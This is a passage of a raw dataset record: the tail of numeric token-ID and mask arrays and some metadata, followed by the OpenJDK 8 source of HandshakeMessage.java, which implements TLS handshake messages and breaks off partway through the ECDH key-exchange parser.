5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
222,
338,
1196,
7979,
642,
477,
3477,
64,
434,
666,
49,
2886,
391,
341,
222,
338,
7834,
3870,
7120,
49,
6367,
4345,
244,
58,
62,
38849,
17693,
449,
25280,
244,
56,
56,
53,
49,
222,
338,
25006,
49,
13083,
244,
53,
55,
54,
54,
54,
50,
54,
56,
53,
60,
49,
15067,
51,
222,
338,
222,
588,
222,
222,
1337,
1105,
51,
20761,
6599,
51,
3851,
51,
1663,
64,
222,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
1350,
222,
338,
906,
2586,
456,
3760,
7912,
2308,
18789,
51,
222,
338,
496,
2987,
1105,
51,
20761,
6599,
51,
3851,
51,
1663,
51,
95,
7023,
1325,
222,
338,
1676,
338,
496,
2133,
590,
14974,
723,
49127,
308,
19238,
222,
588,
222,
942,
2586,
2538,
7023,
2478,
2041,
7834,
2478,
320,
465,
581,
2538,
7023,
1325,
48215,
45,
739,
65,
2478,
1325,
67,
4725,
312,
2205,
581,
2538,
7023,
1325,
640,
8045,
492,
465,
581,
2538,
7023,
1325,
640,
3024,
1325,
45,
429,
613,
312,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 303
| true
| 71.928251
| true
| true
|
HandshakeMessage.java
|
/FileExtraction/Java_unseen/nilsvanvelzen_mac_ppc_openjdk8u60/jdk/src/share/classes/sun/security/ssl/HandshakeMessage.java
|
/*
* Copyright (c) 1996, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package sun.security.ssl;
import java.io.*;
import java.math.BigInteger;
import java.security.*;
import java.security.interfaces.*;
import java.security.spec.*;
import java.security.cert.*;
import java.security.cert.Certificate;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.lang.reflect.*;
import javax.security.auth.x500.X500Principal;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.DHPublicKeySpec;
import javax.net.ssl.*;
import sun.security.internal.spec.TlsPrfParameterSpec;
import sun.security.ssl.CipherSuite.*;
import static sun.security.ssl.CipherSuite.PRF.*;
import sun.security.util.KeyUtil;
/**
* Many data structures are involved in the handshake messages. These
* classes are used as structures, with public data members. They are
* not visible outside the SSL package.
*
* Handshake messages all have a common header format, and they are all
* encoded in a "handshake data" SSL record substream. The base class
* here (HandshakeMessage) provides a common framework and records the
* SSL record type of the particular handshake message.
*
* This file contains subclasses for all the basic handshake messages.
* All handshake messages know how to encode and decode themselves on
* SSL streams; this facilitates using the same code on SSL client and
* server sides, although they don't send and receive the same messages.
*
* Messages also know how to print themselves, which is quite handy
* for debugging. They always identify their type, and can optionally
* dump all of their content.
*
* @author David Brownell
*/
public abstract class HandshakeMessage {
HandshakeMessage() { }
// enum HandshakeType:
static final byte ht_hello_request = 0;
static final byte ht_client_hello = 1;
static final byte ht_server_hello = 2;
static final byte ht_certificate = 11;
static final byte ht_server_key_exchange = 12;
static final byte ht_certificate_request = 13;
static final byte ht_server_hello_done = 14;
static final byte ht_certificate_verify = 15;
static final byte ht_client_key_exchange = 16;
static final byte ht_finished = 20;
/* Class and subclass dynamic debugging support */
public static final Debug debug = Debug.getInstance("ssl");
/**
* Utility method to convert a BigInteger to a byte array in unsigned
* format as needed in the handshake messages. BigInteger uses
* 2's complement format, i.e. it prepends an extra zero if the MSB
* is set. We remove that.
*/
static byte[] toByteArray(BigInteger bi) {
byte[] b = bi.toByteArray();
if ((b.length > 1) && (b[0] == 0)) {
int n = b.length - 1;
byte[] newarray = new byte[n];
System.arraycopy(b, 1, newarray, 0, n);
b = newarray;
}
return b;
}
/*
* SSL 3.0 MAC padding constants.
* Also used by CertificateVerify and Finished during the handshake.
*/
static final byte[] MD5_pad1 = genPad(0x36, 48);
static final byte[] MD5_pad2 = genPad(0x5c, 48);
static final byte[] SHA_pad1 = genPad(0x36, 40);
static final byte[] SHA_pad2 = genPad(0x5c, 40);
private static byte[] genPad(int b, int count) {
byte[] padding = new byte[count];
Arrays.fill(padding, (byte)b);
return padding;
}
/*
* Write a handshake message on the (handshake) output stream.
* This is just a four byte header followed by the data.
*
* NOTE that huge messages -- notably, ones with huge cert
* chains -- are handled correctly.
*/
final void write(HandshakeOutStream s) throws IOException {
int len = messageLength();
if (len >= Record.OVERFLOW_OF_INT24) {
throw new SSLException("Handshake message too big"
+ ", type = " + messageType() + ", len = " + len);
}
s.write(messageType());
s.putInt24(len);
send(s);
}
/*
* Subclasses implement these methods so those kinds of
* messages can be emitted. Base class delegates to subclass.
*/
abstract int messageType();
abstract int messageLength();
abstract void send(HandshakeOutStream s) throws IOException;
/*
* Write a descriptive message on the output stream; for debugging.
*/
abstract void print(PrintStream p) throws IOException;
//
// NOTE: the rest of these classes are nested within this one, and are
// imported by other classes in this package. There are a few other
// handshake message classes, not neatly nested here because of current
// licensing requirement for native (RSA) methods. They belong here,
// but those native methods complicate things a lot!
//
/*
* HelloRequest ... SERVER --> CLIENT
*
* Server can ask the client to initiate a new handshake, e.g. to change
* session parameters after a connection has been (re)established.
*/
static final class HelloRequest extends HandshakeMessage {
@Override
int messageType() { return ht_hello_request; }
HelloRequest() { }
HelloRequest(HandshakeInStream in) throws IOException
{
// nothing in this message
}
@Override
int messageLength() { return 0; }
@Override
void send(HandshakeOutStream out) throws IOException
{
// nothing in this messaage
}
@Override
void print(PrintStream out) throws IOException
{
out.println("*** HelloRequest (empty)");
}
}
/*
* ClientHello ... CLIENT --> SERVER
*
* Client initiates handshake by telling server what it wants, and what it
* can support (prioritized by what's first in the ciphe suite list).
*
* By RFC2246:7.4.1.2 it's explicitly anticipated that this message
* will have more data added at the end ... e.g. what CAs the client trusts.
* Until we know how to parse it, we will just read what we know
* about, and let our caller handle the jumps over unknown data.
*/
static final class ClientHello extends HandshakeMessage {
ProtocolVersion protocolVersion;
RandomCookie clnt_random;
SessionId sessionId;
private CipherSuiteList cipherSuites;
byte[] compression_methods;
HelloExtensions extensions = new HelloExtensions();
private final static byte[] NULL_COMPRESSION = new byte[] {0};
ClientHello(SecureRandom generator, ProtocolVersion protocolVersion,
SessionId sessionId, CipherSuiteList cipherSuites) {
this.protocolVersion = protocolVersion;
this.sessionId = sessionId;
this.cipherSuites = cipherSuites;
if (cipherSuites.containsEC()) {
extensions.add(SupportedEllipticCurvesExtension.DEFAULT);
extensions.add(SupportedEllipticPointFormatsExtension.DEFAULT);
}
clnt_random = new RandomCookie(generator);
compression_methods = NULL_COMPRESSION;
}
ClientHello(HandshakeInStream s, int messageLength) throws IOException {
protocolVersion = ProtocolVersion.valueOf(s.getInt8(), s.getInt8());
clnt_random = new RandomCookie(s);
sessionId = new SessionId(s.getBytes8());
sessionId.checkLength(protocolVersion);
cipherSuites = new CipherSuiteList(s);
compression_methods = s.getBytes8();
if (messageLength() != messageLength) {
extensions = new HelloExtensions(s);
}
}
CipherSuiteList getCipherSuites() {
return cipherSuites;
}
// add renegotiation_info extension
void addRenegotiationInfoExtension(byte[] clientVerifyData) {
HelloExtension renegotiationInfo = new RenegotiationInfoExtension(
clientVerifyData, new byte[0]);
extensions.add(renegotiationInfo);
}
// add server_name extension
void addSNIExtension(List<SNIServerName> serverNames) {
try {
extensions.add(new ServerNameExtension(serverNames));
} catch (IOException ioe) {
// ignore the exception and return
}
}
// add signature_algorithm extension
void addSignatureAlgorithmsExtension(
Collection<SignatureAndHashAlgorithm> algorithms) {
HelloExtension signatureAlgorithm =
new SignatureAlgorithmsExtension(algorithms);
extensions.add(signatureAlgorithm);
}
@Override
int messageType() { return ht_client_hello; }
@Override
int messageLength() {
/*
* Add fixed size parts of each field...
* version + random + session + cipher + compress
*/
return (2 + 32 + 1 + 2 + 1
+ sessionId.length() /* ... + variable parts */
+ (cipherSuites.size() * 2)
+ compression_methods.length)
+ extensions.length();
}
@Override
void send(HandshakeOutStream s) throws IOException {
s.putInt8(protocolVersion.major);
s.putInt8(protocolVersion.minor);
clnt_random.send(s);
s.putBytes8(sessionId.getId());
cipherSuites.send(s);
s.putBytes8(compression_methods);
extensions.send(s);
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** ClientHello, " + protocolVersion);
if (debug != null && Debug.isOn("verbose")) {
s.print("RandomCookie: ");
clnt_random.print(s);
s.print("Session ID: ");
s.println(sessionId);
s.println("Cipher Suites: " + cipherSuites);
Debug.println(s, "Compression Methods", compression_methods);
extensions.print(s);
s.println("***");
}
}
}
/*
* ServerHello ... SERVER --> CLIENT
*
* Server chooses protocol options from among those it supports and the
* client supports. Then it sends the basic session descriptive parameters
* back to the client.
*/
static final
class ServerHello extends HandshakeMessage
{
@Override
int messageType() { return ht_server_hello; }
ProtocolVersion protocolVersion;
RandomCookie svr_random;
SessionId sessionId;
CipherSuite cipherSuite;
byte compression_method;
HelloExtensions extensions = new HelloExtensions();
ServerHello() {
// empty
}
ServerHello(HandshakeInStream input, int messageLength)
throws IOException {
protocolVersion = ProtocolVersion.valueOf(input.getInt8(),
input.getInt8());
svr_random = new RandomCookie(input);
sessionId = new SessionId(input.getBytes8());
sessionId.checkLength(protocolVersion);
cipherSuite = CipherSuite.valueOf(input.getInt8(), input.getInt8());
compression_method = (byte)input.getInt8();
if (messageLength() != messageLength) {
extensions = new HelloExtensions(input);
}
}
@Override
int messageLength()
{
// almost fixed size, except session ID and extensions:
// major + minor = 2
// random = 32
// session ID len field = 1
// cipher suite + compression = 3
// extensions: if present, 2 + length of extensions
return 38 + sessionId.length() + extensions.length();
}
@Override
void send(HandshakeOutStream s) throws IOException
{
s.putInt8(protocolVersion.major);
s.putInt8(protocolVersion.minor);
svr_random.send(s);
s.putBytes8(sessionId.getId());
s.putInt8(cipherSuite.id >> 8);
s.putInt8(cipherSuite.id & 0xff);
s.putInt8(compression_method);
extensions.send(s);
}
@Override
void print(PrintStream s) throws IOException
{
s.println("*** ServerHello, " + protocolVersion);
if (debug != null && Debug.isOn("verbose")) {
s.print("RandomCookie: ");
svr_random.print(s);
s.print("Session ID: ");
s.println(sessionId);
s.println("Cipher Suite: " + cipherSuite);
s.println("Compression Method: " + compression_method);
extensions.print(s);
s.println("***");
}
}
}
/*
* CertificateMsg ... send by both CLIENT and SERVER
*
* Each end of a connection may need to pass its certificate chain to
* the other end. Such chains are intended to validate an identity with
* reference to some certifying authority. Examples include companies
* like Verisign, or financial institutions. There's some control over
* the certifying authorities which are sent.
*
* NOTE: that these messages might be huge, taking many handshake records.
* Up to 2^48 bytes of certificate may be sent, in records of at most 2^14
* bytes each ... up to 2^32 records sent on the output stream.
*/
static final
class CertificateMsg extends HandshakeMessage
{
@Override
int messageType() { return ht_certificate; }
private X509Certificate[] chain;
private List<byte[]> encodedChain;
private int messageLength;
CertificateMsg(X509Certificate[] certs) {
chain = certs;
}
CertificateMsg(HandshakeInStream input) throws IOException {
int chainLen = input.getInt24();
List<Certificate> v = new ArrayList<>(4);
CertificateFactory cf = null;
while (chainLen > 0) {
byte[] cert = input.getBytes24();
chainLen -= (3 + cert.length);
try {
if (cf == null) {
cf = CertificateFactory.getInstance("X.509");
}
v.add(cf.generateCertificate(new ByteArrayInputStream(cert)));
} catch (CertificateException e) {
throw (SSLProtocolException)new SSLProtocolException(
e.getMessage()).initCause(e);
}
}
chain = v.toArray(new X509Certificate[v.size()]);
}
@Override
int messageLength() {
if (encodedChain == null) {
messageLength = 3;
encodedChain = new ArrayList<byte[]>(chain.length);
try {
for (X509Certificate cert : chain) {
byte[] b = cert.getEncoded();
encodedChain.add(b);
messageLength += b.length + 3;
}
} catch (CertificateEncodingException e) {
encodedChain = null;
throw new RuntimeException("Could not encode certificates", e);
}
}
return messageLength;
}
@Override
void send(HandshakeOutStream s) throws IOException {
s.putInt24(messageLength() - 3);
for (byte[] b : encodedChain) {
s.putBytes24(b);
}
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** Certificate chain");
if (chain.length == 0) {
s.println("<Empty>");
} else if (debug != null && Debug.isOn("verbose")) {
for (int i = 0; i < chain.length; i++) {
s.println("chain [" + i + "] = " + chain[i]);
}
}
s.println("***");
}
X509Certificate[] getCertificateChain() {
return chain.clone();
}
}
/*
* ServerKeyExchange ... SERVER --> CLIENT
*
* The cipher suite selected, when combined with the certificate exchanged,
* implies one of several different kinds of key exchange. Most current
* cipher suites require the server to send more than its certificate.
*
* The primary exceptions are when a server sends an encryption-capable
* RSA public key in its cert, to be used with RSA (or RSA_export) key
* exchange; and when a server sends its Diffie-Hellman cert. Those kinds
* of key exchange do not require a ServerKeyExchange message.
*
* Key exchange can be viewed as having three modes, which are explicit
* for the Diffie-Hellman flavors and poorly specified for RSA ones:
*
* - "Ephemeral" keys. Here, a "temporary" key is allocated by the
* server, and signed. Diffie-Hellman keys signed using RSA or
* DSS are ephemeral (DHE flavor). RSA keys get used to do the same
* thing, to cut the key size down to 512 bits (export restrictions)
* or for signing-only RSA certificates.
*
* - Anonymity. Here no server certificate is sent, only the public
* key of the server. This case is subject to man-in-the-middle
* attacks. This can be done with Diffie-Hellman keys (DH_anon) or
* with RSA keys, but is only used in SSLv3 for DH_anon.
*
* - "Normal" case. Here a server certificate is sent, and the public
* key there is used directly in exchanging the premaster secret.
* For example, Diffie-Hellman "DH" flavor, and any RSA flavor with
* only 512 bit keys.
*
* If a server certificate is sent, there is no anonymity. However,
* when a certificate is sent, ephemeral keys may still be used to
* exchange the premaster secret. That's how RSA_EXPORT often works,
* as well as how the DHE_* flavors work.
*/
static abstract class ServerKeyExchange extends HandshakeMessage
{
@Override
int messageType() { return ht_server_key_exchange; }
}
/*
* Using RSA for Key Exchange: exchange a session key that's not as big
* as the signing-only key. Used for export applications, since exported
* RSA encryption keys can't be bigger than 512 bytes.
*
* This is never used when keys are 512 bits or smaller, and isn't used
* on "US Domestic" ciphers in any case.
*/
static final
class RSA_ServerKeyExchange extends ServerKeyExchange
{
private byte rsa_modulus[]; // 1 to 2^16 - 1 bytes
private byte rsa_exponent[]; // 1 to 2^16 - 1 bytes
private Signature signature;
private byte[] signatureBytes;
/*
* Hash the nonces and the ephemeral RSA public key.
*/
private void updateSignature(byte clntNonce[], byte svrNonce[])
throws SignatureException {
int tmp;
signature.update(clntNonce);
signature.update(svrNonce);
tmp = rsa_modulus.length;
signature.update((byte)(tmp >> 8));
signature.update((byte)(tmp & 0x0ff));
signature.update(rsa_modulus);
tmp = rsa_exponent.length;
signature.update((byte)(tmp >> 8));
signature.update((byte)(tmp & 0x0ff));
signature.update(rsa_exponent);
}
/*
* Construct an RSA server key exchange message, using data
* known _only_ to the server.
*
* The client knows the public key corresponding to this private
* key, from the Certificate message sent previously. To comply
* with US export regulations we use short RSA keys ... either
* long term ones in the server's X509 cert, or else ephemeral
* ones sent using this message.
*/
RSA_ServerKeyExchange(PublicKey ephemeralKey, PrivateKey privateKey,
RandomCookie clntNonce, RandomCookie svrNonce, SecureRandom sr)
throws GeneralSecurityException {
RSAPublicKeySpec rsaKey = JsseJce.getRSAPublicKeySpec(ephemeralKey);
rsa_modulus = toByteArray(rsaKey.getModulus());
rsa_exponent = toByteArray(rsaKey.getPublicExponent());
signature = RSASignature.getInstance();
signature.initSign(privateKey, sr);
updateSignature(clntNonce.random_bytes, svrNonce.random_bytes);
signatureBytes = signature.sign();
}
/*
* Parse an RSA server key exchange message, using data known
* to the client (and, in some situations, eavesdroppers).
*/
RSA_ServerKeyExchange(HandshakeInStream input)
throws IOException, NoSuchAlgorithmException {
signature = RSASignature.getInstance();
rsa_modulus = input.getBytes16();
rsa_exponent = input.getBytes16();
signatureBytes = input.getBytes16();
}
/*
* Get the ephemeral RSA public key that will be used in this
* SSL connection.
*/
PublicKey getPublicKey() {
try {
KeyFactory kfac = JsseJce.getKeyFactory("RSA");
// modulus and exponent are always positive
RSAPublicKeySpec kspec = new RSAPublicKeySpec(
new BigInteger(1, rsa_modulus),
new BigInteger(1, rsa_exponent));
return kfac.generatePublic(kspec);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
/*
* Verify the signed temporary key using the hashes computed
* from it and the two nonces. This is called by clients
* with "exportable" RSA flavors.
*/
boolean verify(PublicKey certifiedKey, RandomCookie clntNonce,
RandomCookie svrNonce) throws GeneralSecurityException {
signature.initVerify(certifiedKey);
updateSignature(clntNonce.random_bytes, svrNonce.random_bytes);
return signature.verify(signatureBytes);
}
@Override
int messageLength() {
return 6 + rsa_modulus.length + rsa_exponent.length
+ signatureBytes.length;
}
@Override
void send(HandshakeOutStream s) throws IOException {
s.putBytes16(rsa_modulus);
s.putBytes16(rsa_exponent);
s.putBytes16(signatureBytes);
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** RSA ServerKeyExchange");
if (debug != null && Debug.isOn("verbose")) {
Debug.println(s, "RSA Modulus", rsa_modulus);
Debug.println(s, "RSA Public Exponent", rsa_exponent);
}
}
}
/*
* Using Diffie-Hellman algorithm for key exchange. All we really need to
* do is securely get Diffie-Hellman keys (using the same P, G parameters)
* to our peer, then we automatically have a shared secret without need
* to exchange any more data. (D-H only solutions, such as SKIP, could
* eliminate key exchange negotiations and get faster connection setup.
* But they still need a signature algorithm like DSS/DSA to support the
* trusted distribution of keys without relying on unscalable physical
* key distribution systems.)
*
* This class supports several DH-based key exchange algorithms, though
* perhaps eventually each deserves its own class. Notably, this has
* basic support for DH_anon and its DHE_DSS and DHE_RSA signed variants.
*/
static final
class DH_ServerKeyExchange extends ServerKeyExchange
{
// Fix message encoding, see 4348279
private final static boolean dhKeyExchangeFix =
Debug.getBooleanProperty("com.sun.net.ssl.dhKeyExchangeFix", true);
private byte dh_p []; // 1 to 2^16 - 1 bytes
private byte dh_g []; // 1 to 2^16 - 1 bytes
private byte dh_Ys []; // 1 to 2^16 - 1 bytes
private byte signature [];
// protocol version being established using this ServerKeyExchange message
ProtocolVersion protocolVersion;
// the preferable signature algorithm used by this ServerKeyExchange message
private SignatureAndHashAlgorithm preferableSignatureAlgorithm;
/*
* Construct from initialized DH key object, for DH_anon
* key exchange.
*/
DH_ServerKeyExchange(DHCrypt obj, ProtocolVersion protocolVersion) {
this.protocolVersion = protocolVersion;
this.preferableSignatureAlgorithm = null;
// The DH key has been validated in the constructor of DHCrypt.
setValues(obj);
signature = null;
}
/*
* Construct from initialized DH key object and the key associated
* with the cert chain which was sent ... for DHE_DSS and DHE_RSA
* key exchange. (Constructor called by server.)
*/
DH_ServerKeyExchange(DHCrypt obj, PrivateKey key, byte clntNonce[],
byte svrNonce[], SecureRandom sr,
SignatureAndHashAlgorithm signAlgorithm,
ProtocolVersion protocolVersion) throws GeneralSecurityException {
this.protocolVersion = protocolVersion;
// The DH key has been validated in the constructor of DHCrypt.
setValues(obj);
Signature sig;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
this.preferableSignatureAlgorithm = signAlgorithm;
sig = JsseJce.getSignature(signAlgorithm.getAlgorithmName());
} else {
this.preferableSignatureAlgorithm = null;
if (key.getAlgorithm().equals("DSA")) {
sig = JsseJce.getSignature(JsseJce.SIGNATURE_DSA);
} else {
sig = RSASignature.getInstance();
}
}
sig.initSign(key, sr);
updateSignature(sig, clntNonce, svrNonce);
signature = sig.sign();
}
/*
* Construct a DH_ServerKeyExchange message from an input
* stream, as if sent from server to client for use with
* DH_anon key exchange
*/
DH_ServerKeyExchange(HandshakeInStream input,
ProtocolVersion protocolVersion)
throws IOException, GeneralSecurityException {
this.protocolVersion = protocolVersion;
this.preferableSignatureAlgorithm = null;
dh_p = input.getBytes16();
dh_g = input.getBytes16();
dh_Ys = input.getBytes16();
KeyUtil.validate(new DHPublicKeySpec(new BigInteger(1, dh_Ys),
new BigInteger(1, dh_p),
new BigInteger(1, dh_g)));
signature = null;
}
/*
* Construct a DH_ServerKeyExchange message from an input stream
* and a certificate, as if sent from server to client for use with
* DHE_DSS or DHE_RSA key exchange. (Called by client.)
*/
DH_ServerKeyExchange(HandshakeInStream input, PublicKey publicKey,
byte clntNonce[], byte svrNonce[], int messageSize,
Collection<SignatureAndHashAlgorithm> localSupportedSignAlgs,
ProtocolVersion protocolVersion)
throws IOException, GeneralSecurityException {
this.protocolVersion = protocolVersion;
// read params: ServerDHParams
dh_p = input.getBytes16();
dh_g = input.getBytes16();
dh_Ys = input.getBytes16();
KeyUtil.validate(new DHPublicKeySpec(new BigInteger(1, dh_Ys),
new BigInteger(1, dh_p),
new BigInteger(1, dh_g)));
// read the signature and hash algorithm
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
int hash = input.getInt8(); // hash algorithm
int signature = input.getInt8(); // signature algorithm
preferableSignatureAlgorithm =
SignatureAndHashAlgorithm.valueOf(hash, signature, 0);
// Is it a local supported signature algorithm?
if (!localSupportedSignAlgs.contains(
preferableSignatureAlgorithm)) {
throw new SSLHandshakeException(
"Unsupported SignatureAndHashAlgorithm in " +
"ServerKeyExchange message");
}
} else {
this.preferableSignatureAlgorithm = null;
}
// read the signature
byte signature[];
if (dhKeyExchangeFix) {
signature = input.getBytes16();
} else {
messageSize -= (dh_p.length + 2);
messageSize -= (dh_g.length + 2);
messageSize -= (dh_Ys.length + 2);
signature = new byte[messageSize];
input.read(signature);
}
Signature sig;
String algorithm = publicKey.getAlgorithm();
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
sig = JsseJce.getSignature(
preferableSignatureAlgorithm.getAlgorithmName());
} else {
switch (algorithm) {
case "DSA":
sig = JsseJce.getSignature(JsseJce.SIGNATURE_DSA);
break;
case "RSA":
sig = RSASignature.getInstance();
break;
default:
throw new SSLKeyException("neither an RSA or a DSA key");
}
}
sig.initVerify(publicKey);
updateSignature(sig, clntNonce, svrNonce);
if (sig.verify(signature) == false ) {
throw new SSLKeyException("Server D-H key verification failed");
}
}
/* Return the Diffie-Hellman modulus */
BigInteger getModulus() {
return new BigInteger(1, dh_p);
}
/* Return the Diffie-Hellman base/generator */
BigInteger getBase() {
return new BigInteger(1, dh_g);
}
/* Return the server's Diffie-Hellman public key */
BigInteger getServerPublicKey() {
return new BigInteger(1, dh_Ys);
}
/*
* Update sig with nonces and Diffie-Hellman public key.
*/
private void updateSignature(Signature sig, byte clntNonce[],
byte svrNonce[]) throws SignatureException {
int tmp;
sig.update(clntNonce);
sig.update(svrNonce);
tmp = dh_p.length;
sig.update((byte)(tmp >> 8));
sig.update((byte)(tmp & 0x0ff));
sig.update(dh_p);
tmp = dh_g.length;
sig.update((byte)(tmp >> 8));
sig.update((byte)(tmp & 0x0ff));
sig.update(dh_g);
tmp = dh_Ys.length;
sig.update((byte)(tmp >> 8));
sig.update((byte)(tmp & 0x0ff));
sig.update(dh_Ys);
}
private void setValues(DHCrypt obj) {
dh_p = toByteArray(obj.getModulus());
dh_g = toByteArray(obj.getBase());
dh_Ys = toByteArray(obj.getPublicKey());
}
@Override
int messageLength() {
int temp = 6; // overhead for p, g, y(s) values.
temp += dh_p.length;
temp += dh_g.length;
temp += dh_Ys.length;
if (signature != null) {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
temp += SignatureAndHashAlgorithm.sizeInRecord();
}
temp += signature.length;
if (dhKeyExchangeFix) {
temp += 2;
}
}
return temp;
}
@Override
void send(HandshakeOutStream s) throws IOException {
s.putBytes16(dh_p);
s.putBytes16(dh_g);
s.putBytes16(dh_Ys);
if (signature != null) {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
s.putInt8(preferableSignatureAlgorithm.getHashValue());
s.putInt8(preferableSignatureAlgorithm.getSignatureValue());
}
if (dhKeyExchangeFix) {
s.putBytes16(signature);
} else {
s.write(signature);
}
}
}
@Override
void print(PrintStream s) throws IOException {
s.println("*** Diffie-Hellman ServerKeyExchange");
if (debug != null && Debug.isOn("verbose")) {
Debug.println(s, "DH Modulus", dh_p);
Debug.println(s, "DH Base", dh_g);
Debug.println(s, "Server DH Public Key", dh_Ys);
if (signature == null) {
s.println("Anonymous");
} else {
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
s.println("Signature Algorithm " +
preferableSignatureAlgorithm.getAlgorithmName());
}
s.println("Signed with a DSA or RSA public key");
}
}
}
}
/*
* ECDH server key exchange message. Sent by the server for ECDHE and ECDH_anon
* ciphersuites to communicate its ephemeral public key (including the
* EC domain parameters).
*
* We support named curves only, no explicitly encoded curves.
*/
static final
class ECDH_ServerKeyExchange extends ServerKeyExchange {
// constants for ECCurveType
private final static int CURVE_EXPLICIT_PRIME = 1;
private final static int CURVE_EXPLICIT_CHAR2 = 2;
private final static int CURVE_NAMED_CURVE = 3;
// id of the curve we are using
private int curveId;
// encoded public point
private byte[] pointBytes;
// signature bytes (or null if anonymous)
private byte[] signatureBytes;
// public key object encapsulated in this message
private ECPublicKey publicKey;
// protocol version being established using this ServerKeyExchange message
ProtocolVersion protocolVersion;
// the preferable signature algorithm used by this ServerKeyExchange message
private SignatureAndHashAlgorithm preferableSignatureAlgorithm;
ECDH_ServerKeyExchange(ECDHCrypt obj, PrivateKey privateKey,
byte[] clntNonce, byte[] svrNonce, SecureRandom sr,
SignatureAndHashAlgorithm signAlgorithm,
ProtocolVersion protocolVersion) throws GeneralSecurityException {
this.protocolVersion = protocolVersion;
publicKey = (ECPublicKey)obj.getPublicKey();
ECParameterSpec params = publicKey.getParams();
ECPoint point = publicKey.getW();
pointBytes = JsseJce.encodePoint(point, params.getCurve());
curveId = SupportedEllipticCurvesExtension.getCurveIndex(params);
if (privateKey == null) {
// ECDH_anon
return;
}
Signature sig;
if (protocolVersion.v >= ProtocolVersion.TLS12.v) {
this.preferableSignatureAlgorithm = signAlgorithm;
sig = JsseJce.getSignature(signAlgorithm.getAlgorithmName());
} else {
sig = getSignature(privateKey.getAlgorithm());
}
sig.initSign(privateKey); // where is the SecureRandom?
updateSignature(sig, clntNonce, svrNonce);
signatureBytes = sig.sign();
}
/*
* Parse an ECDH server key exchange message.
*/
ECDH_ServerKeyExchange(HandshakeInStream input, PublicKey signingKey,
byte[] clntNonce, byte[] svrNonce,
Collection<SignatureAndHashAlgorithm> localSupportedSignAlgs,
ProtocolVersion protocolVersion)
throws IOException, GeneralSecurityException {
this.protocolVersion = protocolVersion;
// read params: ServerECDHParams
int curveType = input.getInt8();
ECParameterSpec parameters;
// These parsing errors should never occur as we negotiated
// the supported curves during the exchange of the Hello messages.
if (curveType == CURVE_NAMED_CURVE) {
curveId = input.getInt16();
if (SupportedEllipticCurvesExtension.isSupported(curveId)
== false) {
throw new SSLHandshakeException(
"Unsupported curveId: " + curveId);
}
String curveOid =
SupportedEllipticCurvesExtension.getCurveOid(curveId);
if (curveOid == null) {
throw new SSLHandshakeException(
"Unknown named curve: " + curveId);
}
parameters = JsseJce.getECParameterSpec(curveOid);
if (parameters == null) {
throw new SSLHandshakeException(
"Unsupported curve: " + curveOid);
}
} else {
throw new SSLHandshakeException(
"Unsupported ECCurveType: " + curveType);
}
pointBytes = input.getBytes8();
ECPoint point = JsseJce.decodePoint(pointBytes, parameters.getCurve());
KeyFactory factory = JsseJce.getKeyFactory("EC");
publicKey = (ECPublicKey)factory.generatePublic(
new ECPublicKeySpec(point, parameters));
if (signingKey == null) {
// ECDH_anon
